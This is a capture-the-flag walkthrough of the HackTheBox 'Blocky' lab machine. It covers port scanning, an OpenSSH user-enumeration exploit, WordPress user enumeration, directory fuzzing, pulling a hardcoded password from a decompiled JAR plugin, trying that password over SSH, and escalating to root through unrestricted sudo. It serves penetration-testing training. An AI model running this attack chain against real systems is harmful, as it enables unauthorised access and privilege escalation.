đź’ĄCyb3rBook

BLOCKY

10 min read

PRIMARY CATEGORY → EASY

Summary

  • Checking FTP Anonymous access
  • Web Technologies enumeration with whatweb and wappalyzer
  • Manual Enumeration of WordPress’ users and plugins
  • Directory fuzzing with gobuster
  • JAR file extraction and decompilation using JD-GUI
  • Information Leakage in Java source code
  • LPE via sudo privileges

Setup

Directory creation with the Machine’s Name

mkdir Blocky && cd !$

Creation of a Pentesting Folder Structure to store all the information related to the target

mkdir {Scans,Data,Tools}

Recon

OS Identification

First, proceed to identify the Target Operative System. This can be done by a simple ping taking into account the TTL Unit

The standard values are →

  • About 64 → Linux
  • About 128 → Windows
ping -c1 10.129.107.255

As mentioned, according to the TTL, It seems that It is a LINUX Target

Port Scanning
General Scan

Let’s run a Nmap Scan to check what TCP Ports are opened in the machine

The Scan result is exported in a grepable format for subsequent Port Parsing

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn --disable-arp-ping -oG blocky.allPorts 10.129.107.255

Open Ports →

21, 22, 80 and 25565
Comprehensive Scan

We can apply a little filter to the <TARGET>.allPorts file to extract the ports and conduct a more comprehensive scan on them by extracting the services and their version running on each port and also executing some default scripts to gather more information

Note that this scan is also exported to have evidence at hand

nmap -p$( grep -ioP --color '\d{1,5}(?=/open)' -- blocky.allPorts | xargs | sed 's@\s@,@g' ) -sCV -n -Pn --disable-arp-ping -oN blocky.targeted 10.129.107.255
OS Version (Codename)

In Linux Systems, the Operative System Version could be extracted through Launchpad

According to the Version Column Data of the Comprehensive Scan, proceed as follows →

  • 22 - SSH

Reference

OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 site:launchpad.net
  • 80 - HTTP

Reference

Apache httpd 2.4.18 site:launchpad.net

Codename → Ubuntu Xenial

This can be verified once the shell is obtained, i.e. the system has been compromised

There are several ways to carry out it →

cat /etc/os-release
hostnamectl # If System has been booted via Systemd
lsb_release -a
cat /etc/issue
cat /proc/version
22 - SSH

OpenSSH Version → v7.2

The Version of the Service running can also be obtained via Banner Grabbing as follows →

nc -v 10.129.107.255 22 <<< ""
CVE-2018-15473

All the OpenSSH Versions prior to the v7.7 one are vulnerable to a System User Enumeration

Reference

CVE-2018-15473 → OpenSSH < v7.7

searchsploit ssh user enumeration

To get the ExploitDB links related to above exploits →

searchsploit --www ssh user enumeration

Exploit → OpenSSH < 7.7 - User Enumeration (2)

To examine it →

searchsploit --examine linux/remote/45939.py |& cat --language python

This exploit requires Python2

Then, execute it as follows →

searchsploit --mirror linux/remote/45939.py
mv "${_##*/}" ssh_exploit.py
python2 !$

In this case, nothing interesting is extracted

21 - FTP

First, let’s check if anonymous login is enabled on the remote FTP Server, but it does not seem as it has not been reported before by Nmap

ftp -a 10.129.107.255

It is not, but the FTP Server version is shown above, so we can search for flaws related to this version

searchsploit ProFTPD 1.3.5

All above exploits are related to the mod_copy FTP module

Let’s enumerate the remaining services before digging into those exploits

25565 - TCP Port

The Nmap exhaustive scan reported that a Minecraft Server is running on this port

We can try to interact with it using netcat or telnet

nc 10.129.107.255 25565
telnet 10.129.107.255 25565

But nothing happens, the connection hangs out and ends up being closed by the target

80 - HTTP

Let’s examine the web technologies running under the website hosted on the target

whatweb http://10.129.107.255

The above URL redirects to http://blocky.htb

Just add a line to the /etc/hosts file referencing that domain and the target IP Address

printf "\n%s\t%s" "10.129.107.255" "blocky.htb" >> /etc/hosts

Now, run again the whatweb command

whatweb 'http://blocky.htb'

With the above information, now we know that this website is a WordPress 4.8

Let’s perform some manual enumeration before proceed with tools such as wpscan

First, we can take a look at the wappalyzer browser addon

Nothing we did not already know

Next, we can try to look for any plugin installed from the source code

curl --silent --location --request GET 'http://blocky.htb' |& grep -i --color -- 'plugin'

But get nothing again

While browsing the website, we ended up on a WordPress post created by a user named Notch

We may be able to list the WordPress users by interacting with the WordPress REST API as follows

curl --silent --location --request GET "http://blocky.htb/?rest_route=/wp/v2/users" | jq --raw-output '.[] | .slug'

There is only one existent user and is called Notch

If we manage to obtain any password, we can test it on the WordPress Admin Panel with the user Notch

We can access the WordPress Admin panel via the following URLs

http://blocky.htb/wp-admin
http://blocky.htb/wp-login.php

But, for the time being, let’s list any existing resources in the web application by using fuzzing

We being with the directories first

gobuster dir --threads 100 --wordlist /usr/share/seclist/Discovery/Web-Content/directory-list-2.3-medium.txt --url 'http://blocky.htb'

From the output above, there are some unusual directories aside from the WordPress directorie structure

  • /phpmyadmin

It requests credentials, which we do not have yet

  • /wiki

It speaks about the release of a new core plugin. But nothing interesting aside from that

  • /plugins

Here, we have a file browser with two .jar files

This type of file usually contains .class and .java files, it is like a zip file

Information Leakage

We can download both files and inspect them using a tool such as jd-gui

It allows us to inspect the decompiled source code of the files contained within the .jar file

curl --silent --location --request GET "http://blocky.htb/plugins/files/BlockyCore.jar" --remote-name
jar --list --file BlockyCore.jar

There is only a manifest and a .class file

Let’s inspect them using jd-gui

jd-gui BlockyCore.jar &> /dev/null & disown

There is a public class defined on the source code which contains variables with hardcoded credentials

There is no way that these credentials are valid for the system root user, but we can try them

nxc ssh blocky.htb --username 'root' --password '8YsqfCTnvxAUeduzjNSXe22'

And they are not, let’s try with the user notch

nxc ssh blocky.htb --username 'notch' --password '8YsqfCTnvxAUeduzjNSXe22'

And we have shell access!

So, let’s connect remotely via SSH as Notch

ssh -p22 notch@blocky.htb

Once connected, just grab the content of the user’s flag

cat /home/notch/user.txt

Privesc #1

Initial Non-Privileged User → Notch

Sudo Privileges

This is probably the easiest privesc for a Linux box

Simply check for the sudo privileges of the current user

sudo -l

The user can run any command/binary/builting as any existing user on the system

So, just run the following command to log in as root and move on!

sudo su
cat /root/root.txt

Graph View

Backlinks